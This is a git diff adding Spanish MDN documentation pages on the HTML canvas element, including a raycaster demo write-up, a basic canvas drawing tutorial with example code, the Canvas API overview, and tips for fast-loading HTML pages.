+<p>Continuemos, por cada actualización, el raycaster comprueba si has presionado alguna tecla, si no has presionado ninguna se mantendrán los cálculos para ahorrar tiempo de ejecución. Si se ha presionado alguna tecla, el &lt;canvas&gt; es borrado, el suelo y el cielo son pintados, la posición y la orientación de la cámara son actualizados, y los rayos son lanzados. Según van intersectando los rayos con las paredes se van pintando líneas verticales de pared del color de la pared con la que han colisionado, mezcladas con una versión más oscura del color en función de la distancia a la que se encuentra la pared. La altura de la línea vertical depende directamente de la distancia a la que el rayo es interesectado, dibujándose centrada con respecto la línea del horizonte.</p>
+
+<p>El código que he terminado usando es una amalgama regurgitada del código que aparece en los capítulos sobre raycasting del libro de André LaMothe <em>Tricks of the Game Programming Gurus</em> y una <a class="external" href="http://www.shinelife.co.uk/java-maze/">versión en java de un raycaster</a> que encontré online, a su vez pasado por el filtro de mi pulsión a renombrar todo para que tenga sentido para mí y todo el chapuceo necesario para que las cosas funcionen bien.</p>
+
+<h2 id="Results" name="Results">Resultados</h2>
+
+<p>El &lt;canvas&gt; en Safari 2.0.1 rindió sorprendentemente bien. Renderizando columnas de 8 pixeles de ancho, puedo correr una ventana de 320 x 240 a 24 FPS en mi Apple Mini. Firefox 1.5 Beta 1 es incluso más rápido; puedo correr una ventana de 320 x 240 a 24 FPS con columnas de 4 píxeles de ancho. No es exactamente un nuevo miembro de la familia de ID Software, pero es bastante decente teniendo en cuenta que es un entorno completamente interpretado, y que no me he tenido que preocupar de reservar memoria, ni modos de vídeo o escribir rutinas en ensamblador. Aún así el código intenta ser lo más eficiente posible, usando tablas de acceso rápido para valores precalculados, pero no soy ningún gurú de la optimización, así que seguramente haya varias cosas que se puedan escribir más rápido.</p>
+
+<p>Además, deja bastante que desear en términos de intentar convertir esto en un motor de juego - no hay texturas en las paredes, no hay sprites, no hay puertas, ni siquiera hay teletransportadores que te permitan ir a otro nivel. Pero tengo bastante confianza en que todas esas cosas se podrían añadir con el suficiente tiempo disponible. La API de canvas soporta copiado de píxeles de imágenes, así que tener texturas parece bastante factible. Dejaré esto para otro artículo, seguramente para otra persona. =)</p>
+
+<h2 id="The_RayCaster" name="The_RayCaster">El ray-caster</h2>
+
+<p>El gente tan maravillosa que hay aquí han copiado manualmente mis archivos así vosotros podéis echarle un <a href="http://mdn.github.io/canvas-raycaster/">vistazo</a>, y para vuestro disfrute he puesto los archivos individuales como listados de código (ver abajo).</p>
+
+<p>¡Así que aquí lo tenéis, arrancad Safari 1.3+ o Firefox 1.5+ o cualquier otro navegador que soporte el elemento <code>&lt;canvas&gt;</code> y a disfrutar!<br>
+ <br>
+ <small><a href="https://github.com/mdn/canvas-raycaster/blob/master/input.js">input.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Level.js">Level.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Player.js">Player.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/index.html">RayCaster.html</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/RayCaster.js">RayCaster.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.css">trace.css</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.js">trace.js</a> </small></p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Tutorial de canvas</a></li>
+</ul>
diff --git a/files/es/web/html/canvas/drawing_graphics_with_canvas/index.html b/files/es/web/html/canvas/drawing_graphics_with_canvas/index.html
new file mode 100644
index 0000000000..9331174e6d
--- /dev/null
+++ b/files/es/web/html/canvas/drawing_graphics_with_canvas/index.html
@@ -0,0 +1,161 @@
+---
+title: Dibujando gráficos con canvas
+slug: Web/HTML/Canvas/Drawing_graphics_with_canvas
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div class="note">
+ <p>Most of this content (but not the documentation on drawWindow) has been rolled into the more expansive <a href="/en-US/docs/HTML/Canvas/Tutorial" title="HTML/Canvas/tutorial">Canvas tutorial</a>, this page should probably be redirected there as it's now redundant but some information may still be relevant.</p>
+</div>
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+<p>Firefox 1.5, incluye un nuevo elemento HTML para gráficos programables.   &lt;canvas&gt; está basado en la especificación de canvas WHATWG, la que a su vez está basada en el &lt;canvas&gt; de Apple, implementado en Safari.   Puede ser usado para la renderización de gráficos, elementos de Interfaz de usuarios, y otros gráficos personalizados en el cliente.</p>
+<p>La etiqueta &lt;canvas&gt; crea una superficie de dibujo de tamaño fijo que expone uno o más contextos de renderizado.   Nos enfocaremos en la representación del contexto 2D   Para gráficos 3D, podrías usar la <a href="/es-ES/docs/WebGL">representación del contexto WebGL</a></p>
+<h2 id="The_2D_Rendering_Context" name="The_2D_Rendering_Context">El contexto de representación 2D</h2>
+<h3 id="A_Simple_Example" name="A_Simple_Example">Un ejemplo sencillo</h3>
+<p>Para comenzar, aquí un sencillo ejemplo que dibuja dos rectángulos interesándose, uno de los cuales tiene transparencia alfa.</p>
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "rgb(200,0,0)";
+  ctx.fillRect (10, 10, 55, 50);
+
+  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+  ctx.fillRect (30, 30, 55, 50);
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="120" height="120"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}</p>
+<p>La funcion draw obtiene el elemento canvas, entonces obtiene el contexto 2D.   El objeto ctx puede entonces actualmente ser renderizado para el canvas   El ejemplo simplemente llena dos rectangulos, configurando fillStyle a dos diferentes colores utilizando las especificaciones de color de CSS y llamando a fillRect   El segundo FillStyle usa rgba() para especificar un valor alpha junto con el color.</p>
+<p>El fillRect, strokeRect, y clearRect llama a render a ser llenado, bosquejado o limpiar rectangulo.   Para representar formas más complejas, se usan trayectorias.  </p>
+<h3 id="Using_Paths" name="Using_Paths">Usando trayectorias</h3>
+<p>La funcion Path inicia un nuevo trazo, y move to, line to, arc to, arc, y metodos similares son usados para agregar segmentos al trazo.   La trayectoria puede ser cerrada usando closePath   Una vez la trayectoria es creada, puedes usar fill o stroke para representar la trayectoria en el canvas.</p>
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // &lt;- this is right formula for the image on the right -&gt;
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="160" height="160"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}</p>
+<p>Llamando fill() o stroke() causa que el trazo sea usado.   Para ser llenado o juntado otra vez, el trazo debe ser recreado.</p>
+<h3 id="Graphics_State" name="Graphics_State">Estado de gráficos</h3>
+<p>Los atributos del contexto como fillStyle, strokeStyle, lineWidth, y lineJoin son parte de actual estado de graficos   El contexto provee dos metodos, save() y restore(), que pueden ser usados para mover el actual estado y desde estado stack.</p>
+<h3 id="A_More_Complicated_Example" name="A_More_Complicated_Example">Un ejemplo más complicado</h3>
+<p>Hay aquì un ejemplo más complicado, que usa rutas,estado y tambien introduce la actual matriz de transformación.   Los metodos de contexto translate(), scale(), y rotate() todos transforman la matriz actual.   Todos los puntos renderizados son primero transformados por esta matriz.</p>
+<pre class="brush: js">function drawBowtie(ctx, fillStyle) {
+
+  ctx.fillStyle = "rgba(200,200,200,0.3)";
+  ctx.fillRect(-30, -30, 60, 60);
+
+  ctx.fillStyle = fillStyle;
+  ctx.globalAlpha = 1.0;
+  ctx.beginPath();
+  ctx.moveTo(25, 25);
+  ctx.lineTo(-25, -25);
+  ctx.lineTo(25, -25);
+  ctx.lineTo(-25, 25);
+  ctx.closePath();
+  ctx.fill();
+}
+
+function dot(ctx) {
+  ctx.save();
+  ctx.fillStyle = "yellow";
+  ctx.fillRect(-2, -2, 4, 4);
+  ctx.restore();
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // note that all other translates are relative to this one
+  ctx.translate(45, 45);
+
+  ctx.save();
+  //ctx.translate(0, 0); // unnecessary
+  drawBowtie(ctx, "red");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 0);
+  ctx.rotate(45 * Math.PI / 180);
+  drawBowtie(ctx, "green");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(0, 85);
+  ctx.rotate(135 * Math.PI / 180);
+  drawBowtie(ctx, "blue");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 85);
+  ctx.rotate(90 * Math.PI / 180);
+  drawBowtie(ctx, "yellow");
+  dot(ctx);
+  ctx.restore();
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="185" height="185"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}</p>
+<p>Esto define dos métodos, lazo y punto, que son llamados 4 veces.   Antes de cada llamada, los metodos translate() y rotate() son utilizados para la matriz de transformación actual, que a su vez posicionara el punto y el lazo.   el punto presenta un pequeño cuadrado negro centrado a (0,0).   Ese punto se mueve alrededor de la matriz de transformación.   El lazo presenta un simple ruta de lazo usando el estillo de llenado pasado.</p>
+<p>Como las operaciones de la matriz son acumulativas, save() y restore() son utilizados para cada conjunto de llamadas para restaurar el estado de canvas original.   Una cosa a tener en cuenta es que la rotación siempre se produce en torno al origen actual, por lo que a traducir () rotate () translate () secuencia producirá resultados diferentes a traducir () translate () serie de llamadas rotate ().</p>
+<h2 id="Compatibility_With_Apple_.3Ccanvas.3E" name="Compatibility_With_Apple_.3Ccanvas.3E">Compatibilidad con Apple &lt;canvas&gt;</h2>
+<p>En su mayor parte, &lt;canvas&gt; es compatible con Apple y otras implementaciones.   Hay, sin embargo, algunas cuestiones a tener en cuenta, que se describen aquí.</p>
+<h3 id="Required_.3C.2Fcanvas.3E_tag" name="Required_.3C.2Fcanvas.3E_tag">Etiqueta &lt;/canvas&gt; requerida </h3>
+<p>En la aplicación de Apple Safari, &lt;canvas&gt; es un elemento ejecutado de la misma manera &lt;img&gt; es, sino que no tiene una etiqueta de cierre.   Sin embargo, para &lt;canvas&gt; tener uso generalizado en la web, se debe proporcionar alguna facilidad para contenido de reserva.   Por lo tanto, la implementación de Mozilla tiene una etiqueta de cierre requerida.</p>
+<p>Si no se necesita contenido de reserva, un simple &lt;canvas id="foo" ...&gt; &lt;/ canvas&gt; será totalmente compatible con Safari y Mozilla - Safari simplemente ignorar la etiqueta de cierre.</p>
+<p>Si se desea contenido de reserva, algunos trucos CSS se deben emplear para enmascarar el contenido de reserva desde Safari (las cuales deben emitir sólo la tela), y también para enmascarar los propios trucos CSS de IE (que debería hacer que el contenido de reserva).</p>
+<pre>canvas {
+  font-size: 0.00001px !ie;
+}</pre>
+<h2 id="Additional_Features" name="Additional_Features">Caracteristicas adicionales  </h2>
+<h3 id="Rendering_Web_Content_Into_A_Canvas" name="Rendering_Web_Content_Into_A_Canvas">Renderizando el contenido we dentro de un Canvas.</h3>
+<div class="note">
+ Esta caracteristica esta solo disponible para codigo ejecutado con privilegios de Chrome.   No esta permitido en paginas HTML normales. <a href="http://mxr.mozilla.org/mozilla/source/content/canvas/src/nsCanvasRenderingContext2D.cpp#2352" title="http://mxr.mozilla.org/mozilla/source/content/canvas/src/nsCanvasRenderingContext2D.cpp#2352">Porqué leer</a>.</div>
+<p>El canvas de Mozilla se extendio con el metodo drawWindow().   Este metodo dibuja una instantanea de los contenidos de una ventana DOM dentro del canvas. Por ejemplo:</p>
+<pre class="brush: js">ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
+</pre>
+<p>atraería el contenido de la ventana actual, en el rectángulo (0,0,100,200) en píxeles con respecto a la parte superior izquierda de la ventana, sobre un fondo blanco, en el lienzo.   Mediante la especificación de "rgba (255,255,255,0)" como el color, el contenido no se dibujan con un fondo transparente (lo que sería más lenta).</p>
+<p>Normalmente es una mala idea usar un fondo distinto de blanco "rgb(255, 255, 255)" o transparente, esto es lo que hacen todos los navegadores, y muchos sitios web esperan que esas partes transparentes de su interfaz serán puestas en fondo blanco.</p>
+<p>Con este metodo, es posible ocupar un IFRAME oculto con contenido arbitrario (por ejemplo, texto HTML con estilo CSS, o SVG) y dibujarlo dentro de un canvas.   sera escalado, rotado y sucesivamente de acuerdo a la transformación actual.</p>
+<p>Extensión de previsualización pestaña de Ted Mielczarek utiliza esta técnica en cromo para proporcionar imágenes en miniatura de las páginas web, y la fuente está disponible para su referencia.  </p>
+<div class="note">
+ Nota: usar canvas.drawWindow() mientras manejamos un evento de carga de documento, no trabaja   En Firefox 3.5 o superior, puedes hacer esto en un manejador para el evento MozAfterPaint para dibujr satisfactoriamente un contenido HTML dentro de un canvas al cargar la pagina  </div>
+<h2 id="See_also" name="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a href="/en-US/docs/Canvas_tutorial" title="Canvas_tutorial">Canvas tutorial</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">WHATWG specification</a></li>
+ <li><a href="http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/Canvas.html" title="http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/Canvas.html">Apple Canvas Documentation</a></li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2005/05/rendering_web_p.html">Rendering Web Page Thumbnails</a></li>
+ <li>Some <a href="/en-US/docs/tag/canvas_examples">examples</a>:
+  <ul>
+   <li><a href="http://azarask.in/projects/algorithm-ink">Algorithm Ink</a></li>
+   <li><a href="http://www.tapper-ware.net/canvas3d/">OBJ format 3D Renderer</a></li>
+   <li><a href="/en-US/docs/A_Basic_RayCaster" title="A_Basic_RayCaster">A Basic RayCaster</a></li>
+   <li><a href="http://awordlike.textdriven.com/">The Lightweight Visual Thesaurus</a></li>
+   <li><a href="http://caimansys.com/painter/">Canvas Painter</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/tag/canvas">And more...</a></li>
+</ul>
diff --git a/files/es/web/html/canvas/index.html b/files/es/web/html/canvas/index.html
new file mode 100644
index 0000000000..dfdde2bf63
--- /dev/null
+++ b/files/es/web/html/canvas/index.html
@@ -0,0 +1,170 @@
+---
+title: API Canvas
+slug: Web/HTML/Canvas
+tags:
+  - API
+  - Canvas
+  - JavaScript
+  - Referencia
+  - introducción
+translation_of: Web/API/Canvas_API
+---
+<div>{{CanvasSidebar}}</div>
+
+<p class="summary">Añadido en <a href="/es/docs/HTML/HTML5">HTML5</a>, el <strong>elemento HTML {{HTMLElement("canvas")}}</strong> se puede usar para dibujar gráficos mediante scripting en <a href="/es/docs/Web/JavaScript">JavaScript</a>. Por ejemplo, se puede usar para hacer gráficas, composiciones fotográficas, crear animaciones, o incluso procesado o renderizado de vídeo en tiempo real.</p>
+
+<p>Las aplicaciones de Mozilla soportan <code>&lt;canvas&gt;</code> desde Gecko 1.8 (es decir, <a href="/es/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5</a>). El elemento fue inicialmenmte presentado por Apple para el Dashboard de OS X y Safari. Internet Explorer soporta <code>&lt;canvas&gt;</code> desde la versión 9 en adelante; para versiones anteriores de IE, se puede añadir soporte para <code>&lt;canvas&gt;</code> a una página incluyendo un script del proyecto de Google <a href="https://github.com/arv/explorercanvas">Explorer Canvas</a>. Google Chrome y Opera 9 también soportan <code>&lt;canvas&gt;</code>.</p>
+
+<p>El elemento <code>&lt;canvas&gt;</code> también se usa en <a href="/es/docs/Web/WebGL">WebGL</a> para dibujar gráficos 3D con aceleración por hardware en páginas web.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Esto es un trozo de código que usa el método {{domxref("CanvasRenderingContext2D.fillRect()")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Edita este código para ver tus cambios en tiempo real en este canvas:</p>
+
+<div class="hidden">
+<h6 id="Código_editable">Código editable</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_editable', 700, 360) }}</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasImageSource")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("RenderingContext")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("OffscreenCanvas")}}{{experimental_inline}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}}</li>
+</ul>
+</div>
+
+<p>Las interfaces relacionadas con <code>WebGLRenderingContext</code> están en <a href="/es/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a>.</p>
+
+<p>{{domxref("CanvasCaptureMediaStream")}} está relacionado..</p>
+
+<h2 id="Guías_y_tutoriales">Guías y tutoriales</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/Canvas_API/Tutorial">Tutorial Canvas</a></dt>
+ <dd>Tutorial exhaustivo que cubre tanto el uso básico de <code>&lt;canvas&gt;</code> como sus características avanzadas.</dd>
+ <dt><a href="/es/Add-ons/Code_snippets/Canvas">Fragmentos de código: Canvas</a></dt>
+ <dd>Algunos fragmentos de código orientados al desarrollador de extensiones usando <code>&lt;canvas&gt;</code>.</dd>
+ <dt><a href="/es/docs/Web/API/Canvas_API/A_basic_ray-caster">Demo: Un laberinto básico</a></dt>
+ <dd>Una demo de una animación de laberinto usando canvas.</dd>
+ <dt><a href="/es/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Dibujar objetos DOM en un canvas</a></dt>
+ <dd>Cómo dibujar contenido DOM, como elementos HTML, en un canvas.</dd>
+ <dt><a href="/es/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulación de vídeo usando canvas</a></dt>
+ <dd>Combinando {{HTMLElement("video")}} y {{HTMLElement("canvas")}} para manipular datos de vídeo en tiempo real.</dd>
+</dl>
+
+<h2 id="Recursos">Recursos</h2>
+
+<h3 id="Genéricos">Genéricos</h3>
+
+<ul>
+ <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">Profundizando en HTML5 Canvas</a></li>
+ <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Manual de Canvas</a></li>
+</ul>
+
+<h3 id="Librerías">Librerías</h3>
+
+<ul>
+ <li><a href="http://fabricjs.com">Fabric.js</a> es una librería open-source para canvas con capacidad de parsear SVG.</li>
+ <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> es una librería open-source de canvas enfocada en la interactividad para aplicaciones móviles y de escritorio.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a> es un framework para gráficos vectoriales open source que funciona sobre Canvas HTML5.</li>
+ <li><a href="http://origamijs.com/docs/">Origami.js</a> es una librería ligera open-source para canvas.</li>
+ <li><a href="http://libcanvas.github.com/">libCanvas</a> es un framework ligero y potente para canvas.</li>
+ <li><a href="http://processingjs.org">Processing.js</a> es un port de PVL (Processing visualization language).</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> es un motor open source de juegos.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> es un motor open source de juegos.</li>
+ <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> es una librería para hacer gráficas.</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> es una API para animación por frames para Canvas.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> es un framework WebGL para visualización de datos, programación creativa y desarrollo de juegos.</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> crea visualizaciones de datos 2D interactivas para Web.</li>
+ <li><a href="http://www.createjs.com/easeljs">EaselJS</a> es una librería open source/libre que facilita el uso de canvas para arte y juegos</li>
+ <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a> es otra librería open-source javascript para crear y manipular elementos canvas en 2D</li>
+ <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a> es una librería open-source para crear mapas (heatmaps)</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/es/web/html/consejos_para_la_creación_de_páginas_html_de_carga_rápida/index.html b/files/es/web/html/consejos_para_la_creación_de_páginas_html_de_carga_rápida/index.html
new file mode 100644
index 0000000000..b44128e05d
--- /dev/null
+++ b/files/es/web/html/consejos_para_la_creación_de_páginas_html_de_carga_rápida/index.html
@@ -0,0 +1,53 @@
+---
+title: Consejos para la creación de páginas HTML de carga rápida
+slug: Web/HTML/Consejos_para_la_creación_de_páginas_HTML_de_carga_rápida
+tags:
+  - Consejos
+  - HTML
+  - Rapido
+  - Tips
+translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages
+---
+<h2 id="Consejos_para_la_creación_de_páginas_HTML_de_carga_rápida">Consejos para la creación de páginas HTML de carga rápida</h2>
+
+<p>Estos consejos estan basados en conocimiento común y experimentación.</p>
+
+<p>Una página web optimizada no solo provee una mayor respuesta a su sitio por parte de los visitantes, sino que también reduce la carga en su servidores web y en su conexión de internet. Esto puede ser crucial para sitios con alto volumen o sitios que tienen un pico de trafico debido a circunstancias inucuales como noticias de ultima hora.</p>
+
+<p>Optimizar la carga de páginas no es solo para el contenido que será visto atraves de una estrecha conexión telefónica o dispositivos móviles. <span id="result_box" lang="es"><span class="hps">Es</span> <span class="hps">tan importante</span> <span class="hps">para el contenido</span> <span class="hps">de banda ancha</span> <span class="hps">y puede conducir a</span> <span class="hps">mejoras espectaculares</span> <span class="hps">incluso</span> <span class="hps">para sus</span> <span class="hps">visitantes con</span> <span class="hps">las conexiones más rápidas</span><span>.</span></span></p>
+
+<h3 id="Consejos">Consejos</h3>
+
+<h4 id="Reducir_el_peso_de_las_páginas_web">Reducir el peso de las páginas web</h4>
+
+<p>El peso de las páginas web es por mucho el factor más importante en el rendimiento de carga de una página.</p>
+
+<p>Reducir el peso de la página mediante la eliminación de espacios en blanco innecesarios y comentarios, comunmente se coonoce como minimalización, y al mover "inline-script" y "CSS" a un archivo externo, puede mejorar el rendimiento de la descarga con minimas necesidades de otros cambios en la estructura de la página.</p>
+
+<p>Herramientas como <a class="external external-icon" href="http://tidy.sourceforge.net/">HTML Tidy</a> pueden <span id="result_box" lang="es"><span class="hps">quitar</span> <span class="hps">automáticamente</span> <span class="hps">espacios en blanco</span> <span class="hps">y las líneas</span> <span class="hps">en blanco adicionales</span> <span class="hps">de</span> <span class="hps">código fuente HTML valido</span><span class="hps">. Otras herramientas pueden "comprimir"</span></span> JavaScript al reformatear el codigo fuente o <span id="result_box" lang="es"><span class="hps">por</span> <span class="alt-edited hps">ofuscación</span> <span class="hps">la fuente</span> <span class="hps">y la sustitución de</span> <span class="hps">los identificadores largos con versiones mas cortas.</span></span></p>
+
+<h3 id="Minimizar_el_número_de_archivos">Minimizar el número de archivos</h3>
+
+<p>Reducir el número de archivos referentes en una pagina web baja el número de conexiones <a href="https://developer.mozilla.org/en-US/docs/HTTP" title="en-US/docs/HTTP">HTTP</a> requeridas para bajar la página.</p>
+
+<p>Dependiendo de la configuración de cache de un navegador, puede enviar una petición <span id="result_box" lang="es"><span class="hps">"If</span><span>-Modified-Since"</span></span> al servidor web para cada "CSS", JavaScript o archivo de imágen, preguntando si el archivo ha sido modificado desde la ultima vez que fué descargado.</p>
+
+<p>Al reducir el número de archivos que son refereciados dentro de una página web, <span id="result_box" lang="es"><span class="hps">se reduce el</span> <span class="hps">tiempo necesario para que</span> <span class="hps">estas solicitudes</span> <span class="hps">se envíen</span><span>,</span> <span class="hps">y</span> <span class="hps">para que  sus</span> <span class="hps">respuestas</span> <span class="hps">que se reciban</span><span>.</span></span></p>
+
+<p>Si se usan muchas imágenes de fondo en sus "CSS", puedes reducir la cantidad de busquedas HTTP necesarias al combinar las imagenes en una, conocido como "image sprite". Luego solamente <span id="result_box" lang="es"><span class="hps">se aplica la</span> <span class="hps">misma imagen</span> <span class="hps">cada</span> <span class="hps">vez que lo necesite</span> <span class="hps">para un fondo,</span> <span class="hps">ajustando las coordenadas el eje (X / Y</span></span>) adecuadamente. Estas técnica trabaja mejor con elementos que tendrán dimensiones limitadas, no funcionará para todos los usos de imagenes de fondo, sin embargo, la menor cantidad de pedidos HTTP y el uso de una única imágen en caché puede reducir el timepo de carga de una página.</p>
+
+<p>Demasiado tiempo gastado en consultar la ultima modificación de los archivos referenciados puede demorar la pantalla inicial de una página web, <span id="result_box" lang="es"><span class="hps">ya que el</span> <span class="hps">explorador debe</span> <span class="hps">comprobar</span> <span class="hps">la fecha de modificación</span> <span class="hps">de cada</span> <span class="hps">archivo</span> <span class="hps">CSS o</span> <span class="hps">JavaScript</span><span>, antes de pintar la página.</span></span></p>
+
+<h3 id="Reducir_la_busqueda_de_dominios">Reducir la busqueda de dominios</h3>
+
+<p>Debido a que cada dominio separado cuesta tiempo en una busqeuda DNS, el tiempo de carga de la página crecerá junto con el número de dominios <span id="result_box" lang="es"><span class="hps">que aparecen en</span> <span class="hps">enlace</span> <span class="hps">CSS</span> <span class="atn hps">(</span><span>s</span><span>)</span>, <span class="hps"> JavaScript</span> <span class="hps">y</span> <span class="hps">recursos de</span> <span class="hps">imagen.</span></span></p>
+
+<p>Esto no puede ser siempre práctico; sin embargo <span id="result_box" lang="es"><span class="hps">siempre se debe</span> <span class="hps">tener cuidado de usar</span> <span class="hps">sólo el número</span> <span class="hps">mínimo necesario</span> <span class="hps">de los diferentes dominios</span> <span class="hps">en</span> <span class="hps">sus páginas</span></span>.</p>
+
+<h3 id="Reutilización_de_contenido_de_cache">Reutilización de contenido de cache</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Asegúrese de que cualquier</span> <span class="hps">contenido que se pueden</span> <span class="hps">almacenar en caché</span><span>,</span> <span class="hps">se almacena en caché</span><span>,</span> <span class="hps">y</span> <span class="hps">con</span> <span class="hps">fechas de caducidad</span> <span class="hps">correspondientes.</span></span></p>
+
